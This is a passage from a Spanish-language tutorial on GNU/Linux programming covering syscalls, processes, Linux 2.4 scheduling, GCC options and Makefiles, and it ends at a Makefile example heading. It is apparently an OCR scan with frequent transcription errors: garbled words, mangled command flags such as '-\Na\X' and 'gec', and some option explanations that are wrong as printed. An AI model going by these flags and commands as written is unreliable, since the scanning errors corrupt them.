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Programacion en 
GNU/Linux 



En este texto repasaremos conceptos de multiprogramacion como las 
definiciones de programa, proceso e hilos, y explicaremos el 
mecanismo de llamadas al sistema gue emplea Linux para poder 
aceptar las peticiones desde el entorno de usuario. 

Seguidamente veremos las posibilidades gue nos ofrece el Compilador de 
C de GNU, GCC, y programaremos nuestros primeros ejecutables para 
GNU/Linux. Despues de repasar las llamadas al sistema mas comunes, 
analizaremos las particularidades de UNIX a la hora de manejar directories, 
permisos, etc., y nos adentraremos en la Comunicacion Interproceso (IPC). 
Finalmente abordaremos de forma introductoria la programacion de sockets 
de red, para dotar de capacidades telematicas a nuestros programas. 

1.1 Llamadas al sistema 

GNU/Linux es un Sistema Operativo multitarea en el gue van a convivir 
un gran numero de procesos. Es posible, bien por un fallo de programacion o 
bien por un intento malicioso, gue alguno de esos procesos haga cosas gue 
atenten contra la estabilidad de todo el sistema. Por ello, con vistas a 
proteger esa estabilidad, el nucleo o kernel del sistema funciona en un 
entorno totalmente diferente al resto de programas. Se definen entonces dos 
modos de ejecucion totalmente separados: el modo kernel y el modo usuario. 
Cada uno de estos modos de ejecucion dispone de memoria y procedimientos 
diferentes, por lo gue un programa de usuario no podra ser capaz de danar 
al nucleo. 

Agui se plantea una duda: si el nucleo del sistema es el unico capaz de 
manipular los recursos fisicos del sistema (hardware), y este se ejecuta en un 
modo de ejecucion totalmente disjunto al del resto de los programas, d-como 
es posible gue un pegueno programa hecho por mi sea capaz de leer y 
escribir en disco? Bien, la duda es logica, porgue todavia no hemos hablado 
de las "llamadas o peticiones al sistema" ("syscalls"). 
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Las syscalls o llamadas al sistema son el mecanismo por el cual los 
procesos y aplicaciones de usuario acceden a los servicios del nucleo. Son la 
interfaz que proporciona el nucleo para realizar desde el modo usuario las 
cosas que son propias del modo kernel (como acceder a disco o utilizar una 
tarjeta de sonido). La siquiente fiqura explica de forma grafica como 
funciona la syscall readO 




Figura 1.1.1 Mecanismo de peticion de servicios al kernel. 



El proceso de usuario necesita acceder al disco para leer para ello 
utiliza la syscall read() utilizando la interfaz de llamadas al sistema. El 
nucleo atiende la peticion accediendo al hardware y devolviendo el resultado 
al proceso que inicio la peticion. Este procedimiento me recuerda al comedor 
de un restaurante, en el todos los clientes piden al camarero lo que desean, 
pero nunca entran en la cocina. El camarero, despues de pasar por la cocina, 
traera el plato que cada cliente haya pedido. Ningun comensal podria 
estropear la cocina, puesto que no tiene acceso a ella. 

Practicamente todas las funciones que utilicemos desde el espacio de 
ejecucion de usuario necesitaran solicitar una peticion al kernel mediante 
una syscall, esto es, la ejecucion de las aplicaciones de usuario se canaliza a 
traves del sistema de peticiones al sistema. Este hecho es importante a la 
hora de fijar controles y registros en el sistema, ya que si utilizamos nuestras 
propias versiones de las syscalls para ello, estaremos abarcando todas las 
aplicaciones y procesos del espacio de ejecucion de usuario. Imaginemos un 
"camarero" malicioso que capturase todas las peticiones de todos los 
clientes y envenenase todos los platos antes de servirlos... nuestro 
restaurante deberia cuidarse muy bien de que personal contrata y nosotros 
deberemos ser cautelosos tambien a la hora de cargar drivers o modulos en 
nuestro nucleo. 



1.2 Programas, procesos, hilos... 

Un proceso es una entidad activa que tiene asociada un conjunto de 
atributos: codigo, datos, pila, registros e identificador unico. Representa la 
entidad de ejecucion utilizada por el Sistema Operative Frecuentemente se 
conocen tambien con el nombre de tareas ("tasks"). 
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Un programa representa una entidad pasiva. Cuando un programa es 
reconocido por el Sistema Operativo y tiene asignado recursos, se convierte 
en proceso. Es decir, la ejecucion de codigo implica la existencia de un 
entorno concreto. 

Generalmente un proceso: 

• Es la unidad de asignacion de recursos: el Sistema 
Operativo va asignando los recursos del sistema a cada 
proceso. 

• Es una unidad de despacho: un proceso es una entidad 
activa gue puede ser ejecutada, por lo gue el Sistema 
Operativo conmuta entre los diferentes procesos listos 
para ser ejecutados o despachados. 

Sin embargo, en algunos Sistemas Operativos estas dos unidades se 
separan, entendiendose la segunda como un hilo o thread. Los hilos no 
generan un nuevo proceso sino gue producen flujos de ejecucion disjuntos 
dentro del mismo proceso. Asi pues, un hilo o "proceso ligero" ("lightweight 
process, LWP") comparte los recursos del proceso, asi como la seccion de 
datos y de codigo del proceso con el resto de hilos. Esto hace gue la creacion 
de hilos y el cambio de ejecucion entre hilos sea menos costoso gue el 
cambio de contexto entre procesos, aumentando el rendimiento global del 
sistema. 

Un Sistema Operativo multiusuario y multiprogramado (multitarea) 
pretende crear la ilusion a sus usuarios de gue se dispone del sistema al 
complete La capacidad de un procesador de cambiar de tarea o contexto es 
infinitamente mas rapida gue la gue pueda tener una persona normal, por lo 
gue habitualmente el sistema cumple este objetivo. Es algo parecido a lo gue 
pasa en un restaurante de comida rapida: por muy rapido gue seas 
comiendo, normalmente la velocidad de servir comida es mucho mayor. Si un 
camarero fuese atendiendote cada 5 minutos, podrias tener la sensacion de 
gue eres el cliente mas importante del local, pero en realidad lo gue esta 
haciendo es compartir sus servicios (recursos) entre todos los clientes de 
forma rapida ("time-sharing"). 

1.2.1 Estructuras de datos 

Si gueremos implementar la ejecucion de varias tareas al mismo tiempo, 
los cambios de contexto entre tareas y todo lo concerniente a la 
multiprogramacion, es necesario disponer de un modelo de procesos y las 
estructuras de datos relacionadas para ello. Un modelo de procesos tipico 
consta de los siguientes elementos: 

• PCB (Process Control Block): un blogue o estructura de 
datos gue contiene la informacion necesaria de cada 
proceso. Permite almacenar el contexto de cada uno de 
los procesos con el objeto de ser reanudado 
posteriormente. Suele ser un conjunto de identificadores 
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de proceso, tablas de manejo de memoria, estado de los 
registros del procesador, apuntadores de pila, etc. 

• Tabla de Procesos: la tabla que contiene todos los PCBs o 
bloques de control de proceso. Se actualiza a medida que 
se van creando y eliminando procesos o se producen 
transiciones entre los estados de los mismos. 

• Estados y Transiciones de los Procesos: los procesos se 
ordenan en funcion de su informacion de Planificacion, 
es decir, en funcion de su estado. Asi pues, habra 
procesos bloqueados en espera de un recurso, listos para 
la ejecucion, en ejecucion, terminando, etc. 

• Vector de Interrupciones: contiene un conjunto de 
apuntadores a rutinas que se encargaran de atender 
cada una de las interrupciones que puedan producirse en 
el sistema. 

En Linux esto esta implementado a traves de una estructura de datos 
denominada task_structEs el PCB de Linux, en ella se almacena toda la 
informacion relacionada con un proceso: identificadores de proceso, tablas 
de manejo de memoria, estado de los registros del procesador, apuntadores 
de pila, etc. 

La Tabla de Procesos no es mas que un array de task_structen la version 
2.4.x de Linux desaparece el array task[] como tal y se definen arrays para 
buscar procesos en funcion de su identificativo de proceso (PID) como pidash: 

extern struct task_struct *pidhash[PIDHASH_SZ]; 

pidhash sz determina el numero de tareas capaces de ser gestionadas por 
esa tabla (definida en "/usr/src/linux/include/linux/sched.h"). Por defecto pidhash_sz 
vale. 512 (#define pidhash_sz (4096 >> 2)), es decir, es posible gestionar 512 
tareas concurrentemente desde un unico proceso inicial o "init". Podremos 
tener tantos procesos "init" o iniciales como CPUs tenga nuestro sistema: 

extern struct task_struct *init_tasks[NR_CPUS]; 

nr cpus determina el numero de procesadores disponibles en el sistema 
(definida en "/usr/src/linux/include/linux/sched.h"). Por defecto nr_cpus vale.l, pero 
si se habilita el soporte para multiprocesador, SMP, este numero puede 
crecer (hasta 32 en la version del kernel: 2.4.19, por ejemplo). 

1.2.2 Estados de los procesos en Linux 

Como ya hemos comentado, los procesos van pasando por una serie de 
estados discretos desde que son creados hasta que terminan o mueren. Los 
diferentes estados sirven para saber como se encuentra un proceso en 
cuanto a su ejecucion, con el objeto de llevar un mejor control y aumentar el 
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rendimiento del sistema. No tendria sentido, por ejemplo, cederle tiempo de 
procesador a un proceso que sabemos que sabemos a ciencia cierta que esta 
a la espera de un recurso todavia no liberado. 

En Linux el estado de cada proceso se almacena dentro de un campo de 
la estructura taskstructDicho campo, "state", ira variando en funcion del 
estado de ejecucion en el que se encuentre el proceso, pudiendo tomar los 
siquientes valores: 

• task running (0): Indica que el proceso en cuestion se esta 
ejecutando o listo para ejecutarse. En este sequndo caso, 
el proceso dispone de todos los recursos necesarios 
excepto el procesador. 

• task_ interrupt I ble (l:) el proceso esta suspendido a la 
espera de alquna sehal para pasar a listo para 
ejecutarse. Generalmente se debe a que el proceso esta 
esperando a que otro proceso del sistema le preste alqun 
servicio solicitado. 

• task un interrupt i ble (2) el proceso esta bloqueado 
esperando a que se le conceda alqun recurso hardware 
que ha solicitado (cuando una sehal no es capaz de 
"despertarlo"). 

• task zomb i e (4): el proceso ha finalizado pero aun no se ha 
eliminado todo rastro del mismo del sistema. Esto es 
habitualmente causado porque el proceso padre todavia 
lo espera con una wait(.) 

• taskstopped (8): el proceso ha sido detenido por una 
sehal o bien mediante el uso de ptrace(para ser trazado. 

En funcion del estado de la tarea o proceso, estara en una u otra cola de 
procesos: 

• Cola de Ejecucion o runqueue: procesos en estado 

TASK_RUNNING . 

• Colas de Espera o wait queues: procesos en estado 

TASK_ I NTERRUPT I B LE 6 TASK_ I N I NTERRUPT I B LE 

• Los procesos en estado task zombie 6 task stopped no 
necesitan colas para ser qestionados. 

1.2.3 Identificativos de proceso 

Todos los procesos del sistema tienen un identificativo unico que se 
conoce como Identificativo de Proceso o PID. El PID de cada proceso es 
como su DNI (Documento Nacional de Identidad), todo el mundo tiene el 
suyo y cada numero identifica a un sujeto en concreto. Si queremos ver los 
PIDs de los procesos que estan actualmente presentes en nuestro sistema, 
podemos hacerlo mediante el uso del comando "ps", que nos informa del 
estado de los procesos: 

txipi@neon:~$ ps xa 
PIDTTY STAT TIME COMMAND 
1? S 0:05 init [2] 
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2 ? 


SW 


0:00 [keventd] 


3 ? 


SWN 


0:03 [ksoftirqd CPUO] 


4 ? 


SW 


0:12 [kswapd] 


5 ? 


SW 


0:00 [bdflush] 


6 ? 


SW 


0:03 [kupdated] 


75 ? 


SW 


0:12 [kjournald] 


158 ? 


S 


1:51 /sbin/syslogd 


160 ? 


S 


0:00 /sbin/klogd 


175 ? 


S 


0:00 /usr/sbin/inetd 


313 ? 


S 


0:00 /usr/sbin/sshd 


319 ? 


S 


0:00 /usr/sbin/atd 


322 ? 


S 


0:04 /usr/sbin/cron 


330 ttyl 


S 


0:00 /sbin/getty 38400 ttyl 


331 tty2 


S 


0:00 /sbin/getty 38400 tty2 


332 tty3 


S 


0:00 /sbin/getty 38400 tty3 


333 tty4 


S 


0:00 /sbin/getty 38400 tty4 


334 tty5 


S 


0:00 /sbin/getty 38400 tty5 


335 tty6 


S 


0:00 /sbin/getty 38400 tty6 


22985 ? 


S 


0:00 /usr/sbin/sshd 


22987 ? 


S 


0:00 /usr/sbin/sshd 



22988 pts/0 S 0:00 -bash 
23292 pts/0 R 0:00 ps xa 

En la primera columna vemos como cada uno de los procesos, incluido el 
propio "ps xa" tienen un identificativo unico o PID. Ademas de esto, es posible 
saber quien ha sido el proceso padre u originario de cada proceso, 
consultando su PPID, es decir, el Parent Process ID. De esta manera es 
bastante sencillo hacernos una idea de cual ha sido el arbol de creacion de 
los procesos, que podemos obtener con el comando "pstree : 

txipi@neon:~$ pstree 
init-+-atd 

|-cron 

|-6*[getty] 

j-inetd 

j-keventd 

j-kjournald 

j-klogd 

j-sshd— sshd— sshd— bash— pstree 
"-syslogd 

Como vemos, el comando "pstree es el proceso hijo de un interprete de 
comandos (bash) que a su vez es hijo de una sesion de SSH (Secure Shell). 
Otro dato de interes al ejecutar este comando se da en el hecho de que el 
proceso init es el proceso padre de todos los demas procesos. Esto ocurre 
siempre: primero se crea el proceso init, y todos los procesos siguientes se 
crean a partir de el. 

Ademas de estos dos identificativos existen lo que se conocen como 
"credenciales del proceso", que informan acerca del usuario y grupo que lo 
ha lanzado. Esto se utiliza para decidir si un determinado proceso puede 
acceder a un recurso del sistema, es decir, si sus credenciales son suficientes 
para los permisos del recurso. Existen varios identificativos utilizados como 
credenciales, todos ellos almacenados en la estructura task struct: 

/* process credentials */ 
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uid_t uid, euid, suid, fsuid; 
gid t gid,egid,sgid,fsgid; 
Su significado es el siguiente 



Identificativos 
reales 


uid 


Identificativo de usuario 
real asociado al proceso 


gid 


Identificativo de grupo real 
asociado al proceso 


Identificativos 
efectivos 


euid 


Identificativo de usuario 
efectivo asociado al 
proceso 


egid 


Identificativo de grupo 
efectivo asociado al 
proceso 


Identificativos 
guardados 


suid 


Identificativo de usuario 
guardado asociado al 
proceso 


sgid 


Identificativo de grupo 
guardado asociado al 
proceso 


Identificativos de 
acceso a ficheros 


fsuid 


Identificativo de usuario 
asociado al proceso para 
los controles de acceso a 
ficheros 


fsgid 


Identificativo de grupo 
asociado al proceso para 
los controles de acceso a 
ficheros 



Tabla 1.2.1 Credenciales de un proceso y sus significados. 

1.2.4 Planificacion 

El planificador o scheduler en Linux se basa en las prioridades estaticas y 
dinamicas de cada una de las tareas. A la combinacion de ambas prioridades 
se la conoce como "bondad de una tarea" ("task's goodness"), y determina el 
orden de ejecucion de los procesos o tareas: cuando el planificador esta en 
funcionamiento se analiza cada una de las tareas de la Cola de Ejecucion y 
se calcula la "bondad" de cada una de las tareas. La tarea con mayor 
"bondad" sera la proxima gue se ejecute. 

Cuando hay tareas extremadamente importantes en ejecucion, el 
planificador se llama en intervalos relativamente amplios de tiempo, 
pudiendose llegar a periodos de 0,4 segundos sin ser llamado. Esto puede 
mejorar el rendimiento global del sistema evitando innecesarios cambios de 
contexto, sin embargo es posible gue afecte a su interatividad, aumentando 
lo gue se conoce como "latencias de planificacion" ("scheduling latencies"). 

El planificador de Linux utiliza un contador que genera una 
interrupcion cada 10 milisegundos. Cada vez que se produce dicha 
interrupcion el planificador decrementa la prioridad dinamica de la 
tarea en ejecucion. Una vez que este contador ha llegado a cero, se 
realiza una llamada a la funcion schedule (,) que se encarga de la 
planificacion de las tareas. Por lo tanto, una tarea con una prioridad 
por defecto de 20 podra funcionar durante 0,2 segundos (200 
milisegundos) antes de que otra tarea en el sistema tenga la 
posibilidad de ejecutarse. Por lo tanto, tal y como comentabamos, 
una tarea con maxima prioridad (40) podra ejecutarse durante 0,4 
segundos sin ser detenida por un evento de planificacion. 

El nucleo del sistema se apoya en las estructuras task strucpara planificar 
la ejecucion de las tareas, ya que, ademas de los campos comentados, esta 
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estructura contiene mucha informacion desde el punto de vista de la 
planificacion: 

• volatile long stales informa del estado de la tarea, 
indicando si la tarea es ejecutable o si es interrumpible 
(puede recibir sefiales) o no. 

• long counterrepresenta la parte dinamica de la "bondad" 
de una tarea. Inicialmente se fija al valor de la prioridad 
estatica de la tarea. 

• long prior itrepresenta la parte estatica de la "bondad" de 
la tarea. 

• long need reschedse analiza antes de volver a la tarea en 
curso despues de haber llamado a una syscall, con el 
objeto de comprobar si es necesario volver a llamar a 
schedule ()para planificar de nuevo la ejecucion de las 
tareas. 

• unsigned long pol tdnidica la politica de planificacion 
empleada: FIFO, ROUND ROBIN, etc. 

• unsigned rt_prion$# utiliza para determinar la "bondad" 
de una tarea al utilizar tiempo real por software. 

• struct nunstruct ^mapunta a la informacion de gestion d 
memoria de la tarea. Algunas tareas comparten memoria 
por lo que pueden compartir una unica estructura 
mrn_struct. 

1.3 El GCC 

Las siglas GCC significan actualmente "GNU Compiler Collection" 
("Coleccion de compiladores GNU"). Antes estas mismas siglas significaban 
"GNU C Compiler" ("Compilador C de GNU"), si bien ahora se utilizan para 
denominar a toda una coleccion de compiladores de diversos lenguajes como 
C, C++, Objetive C, Chill, Fortran, y Java. Esta coleccion de compiladores 
esta disponible para practicamente todos los Sistemas Operativos, si bien es 
caracteristica de entornos UNIX libres y se incluye en la practica totalidad 
de distribuciones de GNU/Linux. En su desarrollo participan voluntarios de 
todas las partes del mundo y se distribuye bajo la licencia GPL ("General 
Public License") lo que lo hace de libre distribucion: esta permitido hacer 
copias de el y regalarlas o venderlas siempre que se incluya su codigo fuente 
y se mantenga la licencia. Nosotros nos referiremos al GCC unicamente 
como el compilador de C estandar en GNU/Linux. 

1.3.1 Compilacion basica 

GCC es un compilador de linea de comandos, aunque existen numerosos 
IDE o entornos de desarrollo que incluyen a GCC como su motor de 
compilacion. La manera mas simple de llamar a GCC es esta: 



gcc codigo. c -o ejecutable 
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Asi el GCC compilara el codigo fuente que haya en "codigo.c y generara 
un fichero ejecutable en "ejecutable. Si todo el proceso se ha desarrollado 
correctamente, el GCC no devuelve ningun mensaje de confirmacion. En 
realidad la opcion "-o" para indicar el fichero de salida no es necesaria, y si 
no se indica se guarda el resultado de la compilacion en el fichero "a. out". 

Muchos proyectos de software estan formados por mas de un fichero 
fuente, por lo que habra que compilar varios ficheros para generar un unico 
ejecutable. Esto se puede hacer de forma sencilla llamando a GCC con varios 
ficheros fuente y un ejecutable: 

gcc menu.c bd.c motor.c -o juego 

Sin embargo es bastante probable que todos los ficheros fuente de un 
mismo proyecto no se encuentren en el mismo directorio, y que conforme el 
proyecto crezca, existan muchos ficheros de cabeceras (los tipicos ".h") y se 
alojen en directories diferentes. Para evitar problemas a la hora de tratar 
con proyectos semejantes, podemos hacer uso de la opcion "-\" e incluir los 
ficheros que sean necesario. Imaginemos que tenemos un proyecto en el que 
todos los ficheros fuente estan dentro del directorio "sre" y todos los ficheros 
de cabeceras estan en el directorio "include". Podriamos compilar el proyecto 
de la siguiente manera: 

gcc ./src/*.c -linclude -o juego 

1.3.2 Paso a paso 

Hasta ahora hemos dado por hecho que es normal que un compilador 
realice todos los pasos necesarios para obtener un ejecutable partiendo del 
codigo fuente, si bien esto no tiene por que ser asi. A la hora de generar un 
ejecutable hay una serie de procesos implicados: 

1. Edicion del codigo fuente -> codigo fuente. 

2. Preprocesado -» codigo fuente preprocesado. 

3. Compilacion -> codigo ensamblador. 

4. Ensamblado -> codigo objeto. 

5. Enlazado -> ejecutable. 

Mediante el GCC pueden realizarse todos ellos secuencialmente hasta 
conseguir el ejecutable. Eso es lo que hemos estado haciendo en los 
ejemplos anteriores, pero en ocasiones es conveniente parar el proceso en 
un paso intermedio para evaluar los resultados: 

■ Con la opcion "-E" detenemos el proceso en la etapa de 
preprocesado, obteniendo codigo fuente preprocesado. 

■ Con la opcion "-S" se detiene en la etapa de compilacion, 
pero no ensambla el codigo. 

■ Con la opcion "-c", compila y ensambla el codigo, pero no 
lo enlaza, obteniendo codigo objeto. 
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■ Si no indicamos ninguna de estas opciones, se realizaran 
las cuatro fases de las que se encarga el GCC: 
preprocesado, compilacion, ensamblado y enlazado. 

Ahora ya controlamos mas el proceso. Cuando un proyecto involucra 
muchos ficheros es bastante normal que no todas sus partes tengan las 
mismas opciones de compilacion. Por ello es muy util generar 
separadamente los respectivos codigos objeto, y cuando ya esten todos 
generados, enlazarlos para obtener el ejecutable: 

gcc -c bd.c -o bd.o 
gcc -c motor.c -Igraphics -o motor.o 
gcc -c menu.c -Icurses -o menu.o 
gcc bd.o motor.o menu.o -o juego 

1.3.3 Librerias 

Conforme un proyecto va ganando entidad se hace casi irremediable el 
uso de librerias (realmente son "bibliotecas") de funciones, que permiten 
reutilizar codigo de manera comoda y eficiente. Para utilizar librerias 
estandar en el sistema es necesario emplear la opcion "- f a la hora de llamar 
a GCC: 

gcc -c menu.c -Icurses -o menu.o 

La compilacion de este fichero ("menu.c") requiere que este instalada la 
libreria curses o ncurses en el sistema, por ejemplo (la libreria se llamara 
casi con seguridad "I ibncurse's). Si la libreria no es una libreria estandar en el 
sistema, sino que pertenece unicamente a nuestro proyecto, podremos 
indicar la ruta empleando la opcion "-L": 

gcc -c motor.c -L./libs/librena-motor -o motor.o 

1.3.4 Optimizaciones 

El GCC incluye opciones de optimizacion en cuanto al codigo generado. 
Existen 3 niveles de optimizacion de codigo: 

1. Con "-01" conseguimos optimizaciones en bloques 
repetitivos, operaciones con coma flotante, reduccion de 
saltos, optimizacion de manejo de parametros en pila, 
etc. 

2. Con "-02" conseguimos todas las optimizaciones de "-oi" 
mas mejoras en el abastecimiento de instrucciones al 
procesador, optimizaciones con respecto al retardo 
ocasionado al obtener datos del "heap" o de la memoria, 
etc. 

3. Con "-03" conseguimos todas las optimizaciones de "-02" 
mas el desenrollado de bucles y otras prestaciones muy 
vinculadas con el tipo de procesador. 
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Si queremos tener un control total acerca de las opciones de optimizacion 
empleadas podremos utilizar la opcion "-f: 

■ "-f fastmatfi: genera optimizaciones sobre las operaciones 
de coma flotante, en ocasiones saltandose restricciones 
de estandares IEEE o ANSI. 

■ "-fin I ine-funct"or€scpande todas las funciones "inline" 
durante la compilacion. 

■ "- f un ro 1 1 - 1 oopdesenrolla todos los bucles, convirtiendolos 
en una secuencia de instrucciones. Se gana en velocidad 
a costa de aumentar el tamano del codigo. 

1.3.5 Debugging 

Los errores de programacion o "bugs" son nuestros companeros de viaje 
a la hora de programar cualquier cosa. Es muy comun programar cualquier 
aplicacion sencillisima y que por alguna magica razon no funcione 
correctamente, o lo haga solo en determinadas ocasiones (esto desespera 
aun mas). Por ello, muchas veces tenemos que hacer "debugging", ir a la 
caza y captura de nuestros "bugs". -La manera mas ruin de buscar fallos 
todos la conocemos, aunque muchas veces nos de vergiienza reconocerlo, en 
lugar de pelearnos con "debuggers", llenar el codigo de llamadas a printf() 
sacando resultados intermedios es lo mas divertido. En muchas ocasiones 
hacemos de ello un arte y utilizamos variables de preprocesado para indicar 
que parte del codigo es de "debug" y cual no. Para indicar una variable de 
preprocesado en GCC se utiliza la opcion "- 

gcc -DDEBUG prueba.c -o prueba 

Si queremos optar por una alternativa mas profesionaL quiza convenga 
utilizar las opciones "-g" o "-ggdb" para generar informacion extra de "debug" 
en nuestro ejecutable y poder seguir de forma mas comoda su ejecucion 
mediante el GDB ("GNU Debugger"). 

Si deseamos obtener todas las posibles advertencias en cuanto a 
generacion del ejecutable partiendo de nuestro codigo fuente, emplearemos 
"-\Na\X, para solicitar todos los "warnings" en los que incurra nuestro codigo. 
Asi mismo, podriamos utilizar la opcion "- ans" o "-pedantic" para tratar de 
acercar nuestros programas al estandar ANSI C. 

1.4 make world 

Hemos visto en el anterior apartado como el desarrollo de un programa 
puede involucrar muchos ficheros diferentes, con opciones de compilacion 
muy diversas y complejas. Esto podria convertir la programacion de 
herramientas que involucren varios ficheros en un verdadero infierno. Sin 
embargo, make permite gestionar la compilacion y creacion de ejecutables, 
aliviando a los programadores de estas tareas. 

Con make deberemos definir solamente una vez las opciones de 
compilacion de cada modulo o programa. El resto de llamadas seran 



Programacion de Sistemas 



16 



sencillas gracias a su funcionamiento mediante reglas de compilacion. 
Ademas, make es capaz de llevar un control de los cambios que ha habido en 
los ficheros fuente y ejecutables y optimiza el proceso de edicion- 
compilacion-depuracion evitando recompilar los modulos o programas que 
no han sido modificados. 

1.4.1 Makefile, el guion de make 

Los Makefiles son los ficheros de texto que utiliza make para llevar la 
gestion de la compilacion de programas. Se podrian entender como los 
guiones de la pelicula que quiere hacer make , o la base de datos que informa 
sobre las dependencias entre las diferentes partes de un proyecto. 

Todos los Makefiles estan ordenados en forma de reglas, especificando 
que es lo que hay que hacer para obtener un modulo en concrete El formato 
de cada una de esas reglas es el siguiente: 

objetivo : dependencias 
comandos 

En "objet iv'6 definimos el modulo o programa que queremos crear, 
despues de los dos puntos y en la misma linea podemos definir que otros 
modulos o programas son necesarios para conseguir el "objet iv'6. Por ultimo, 
en la linea siguiente y sucesivas indicamos los comandos necesarios para 
llevar esto a cabo. Es muy importante que los comandos esten separados 
por un tabulador de el comienzo de linea. Algunos editores como el mcedit 
cambian los tabuladores por 8 espacios en bianco, y esto hace que los 
Makefiles generados asi no funcionen. Un ejemplo de regla podria ser el 
siguiente: 

juego : ventana.o motor.o bd.o 
gec -02 -c juego. c -o juego. o 
gec -02 juego. o ventana.o motor.o bd.o -o juego 

Para crear "juego" es necesario que se hayan creado "ventana.o", "motor.o" y 
"bd.o" (tipicamente habra una regla para cada uno de esos ficheros objeto en 
ese mismo Makefile). 

En los siguientes apartados analizaremos un poco mas a fondo la sintaxis 
de los Makefiles. 

1.4.1.1 Comentarios en Makefiles 

Los ficheros Makefile pueden facilitar su comprension mediante 
comentarios. Todo lo que este escrito desde el caracter "#" hasta el final de 
la linea sera ignorado por make. Las lineas que comiencen por el caracter "#" 
seran tomadas a todos los efectos como lineas en bianco. 

Es bastante recomendable hacer uso de comentarios para dotar de mayor 
claridad a nuestros Makefiles. Podemos incluso ahadir siempre una cabecera 
con la fecha, autor y numero de version del fichero, para llevar un control de 
versiones mas eficiente. 
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1.4.1.2 Variables 

Es muy habitual que existan variables en los ficheros Makefile, para 
facilitar su portabilidad a diferentes plataformas y entornos. La forma de 
definir una variable es muy sencilla, basta con indicar el nombre de la 
variable (tipicamente en mayusculas) y su valor, de la siguiente forma: 

CC = gcc -02 

Cuando queramos acceder al contenido de esa variable, lo haremos asi: 
$(CC) juego.c -o juego 

Es necesario tener en cuenta que la expansion de variables puede dar 
lugar a problemas de expansiones recursivas infinitas, por lo que a veces se 
emplea esta sintaxis: 

CC := gcc 

CC := $(CC)-02 

Empleando ":=" en lugar de "=" evitamos la expansion recursiva y por lo 
tanto todos los problemas que pudiera acarrear. 

Ademas de las variables definidas en el propio Makefile, es posible hacer 
uso de las variables de entorno, accesibles desde el interprete de comandos. 
Esto puede dar pie a formulaciones de este estilo: 

SRC = $(HOME)/src 
juego : 

gcc $(SCR)/*.c-o juego 

Empleando ":=" en lugar de "=" evitamos la expansion recursiva y por lo 
tanto todos los problemas que pudiera acarrear. 

Un tipo especial de variables lo constituyen las variables automaticas, 
aquellas que se evaluan en cada regla. A mi, personalmente, me recuerdan a 
los parametros de un script. En la siguiente tabla tenemos una lista de las 
mas importantes: 



Variable 




$@ 


Se sustituye por el nombre del objetivo de la presente regla. 


$* 


Se sustituye por la raiz de un nombre de fichero. 


$< 


Se sustituye por la primera dependencia de la presente regla. 


$~ 


Se sustituye por una lista separada por espacios de cada una 
de las dependencias de la presente regla. 


$? 


Se sustituye por una lista separada por espacios de cada una 
de las dependencias de la presente regla que sean mas nuevas 
que el objetivo de la regla. 


$(@D) 


Se sustituye por la parte correspondiente al subdirectorio de la 
ruta del fichero correspondiente a un objetivo que se 
encuentre en un subdirectorio. 


$(@F) 


Se sustituye por la parte correspondiente al nombre del fichero 
de la ruta del fichero correspondiente a un objetivo que se 
encuentre en un subdirectorio. 
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Tabla 1.4.2 Lista de las variables automaticas mas comunes en Makefiles. 



1.4.1.3 Reglas virtuales 

Es relativamente habitual que ademas de las reglas normales, los ficheros 
Makefile pueden contener reglas virtuales, que no generen un fichero en 
concreto, sino que sirvan para realizar una determinada accion dentro de 
nuestro proyecto software. Normalmente estas reglas suelen tener un 
objetivo, pero ninguna dependencia. 

El ejemplo mas tipico de este tipo de reglas es la regla "clean" que 
incluyen casi la totalidad de Makefiles, utilizada para "limpiar" de ficheros 
ejecutables y ficheros objeto los directorios que haga falta, con el proposito 
de rehacer todo la proxima vez que se llame a "make ": 

clean : 

rm -f juego *.o 

Esto provocaria que cuando alguien ejecutase "make clean", el comando 
asociado se ejecutase y borrase el fichero "juego" y todos los ficheros objeto. 
Sin embargo, como ya hemos dicho, este tipo de reglas no suelen tener 
dependencias, por lo que si existiese un fichero que se llamase "clean" dentro 
del directorio del Makefile, make consideraria que ese objetivo ya esta 
realizado, y no ejecutaria los comandos asociados: 

txipi@neon:~$ touch clean 
txipi@neon:~$ make clean 
make: "clean 1 esta actualizado. 

Para evitar este extraho efecto, podemos hacer uso de un objetivo 
especial de make, .phony. Todas las dependencias que incluyamos en este 
objetivo obviaran la presencia de un fichero que coincida con su nombre, y 
se ejecutaran los comandos correspondientes. Asi, si nuestro anterior 
Makefile hubiese ahadido la siguiente linear 

.PHONY : clean 

habria evitado el anterior problema de manera limpia y sencilla. 

1.4.1.4 Reglas implicitas 

No todos los objetivos de un Makefile tienen por que tener una lista de 
comandos asociados para poder realizarse. En ocasiones se definen reglas 
que solo indican las dependencias necesarias, y es el propio make quien 
decide como se lograran cada uno de los objetivos. Veamoslo con un ejemplo: 

juego : juego. o 
juego. o : juego. c 

Con un Makefile como este, make vera que para generar "juego" es preciso 
generar previamente "juego. o" y para generar "juego. o" no existen comandos 
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que lo puedan realizar, por lo tanto, make presupone que para qenerar un 
fichero objeto basta con compilar su fuente, y para qenerar el ejecutable 
final, basta con enlazar el fichero objeto. Asi pues, implicitamente ejecuta las 
siquientes reqlas: 

cc -c juego.c -o juego.o 
cc juego.o -o juego 

Generando el ejecutable, mediante llamadas al compilador estandar. 

1.4.1.5 Reglas patron 

Las reqlas implicitas que acabamos de ver, tienen su razon de ser debido 
a una serie de "reqlas patron" que implicitamente se especifican en los 
Makefiles. Nosotros podemos redefinir esas reqlas, e incluso inventar reqlas 
patron nuevas. He aqui un ejemplo de como redefinir la reqla implicita 
anteriormente comentada: 

%.o : %.c 

$(CC) $(CFLAGS) $< -o $@ 

Es decir, para todo objetivo que sea un ".o" y que tenqa como 
dependencia un ".<?, ejecutaremos una llamada al compilador de C ($(CQ) 
con los modificadores que esten definidos en ese momento ($(CFI_ags)), 
compilando la primera dependencia de la reqla ($<, el fichero ".c") para 
qenerar el propio objetivo ($@, el fichero ".o"). 

1.4.1.6 Invocando al comando make 

Cuando nosotros invocamos al comando make desde la linea de comandos, 
lo primero que se busca es un fichero que se llama "GNUmakefile", si no se 
encuentra se busca un fichero llamado "makefile" y si por ultimo no se 
encontrase, se buscaria el fichero "Makefile". Si no se encuentra en el 
directorio actual ninquno de esos tres ficheros, se producira un error y make 
no continuara: 

txipi@neon:~$ make 

make: *** No se especifico ningun objetivo y no se encontro ningun makefile. 
Alto. 

Existen ademas varias maneras de llamar al comando make con el objeto 
de hacer una traza o debug del Makefile. Las opciones "-d", "-n", y "-w" estan 
expresamente indicadas para ello. Otra opcion importante es "-jN", donde 
indicaremos a make que puede ejecutar hasta "N" procesos en paralelo, muy 
util para maquinas potentes. 

1.4.1.7 Ejemplo de Makefile 

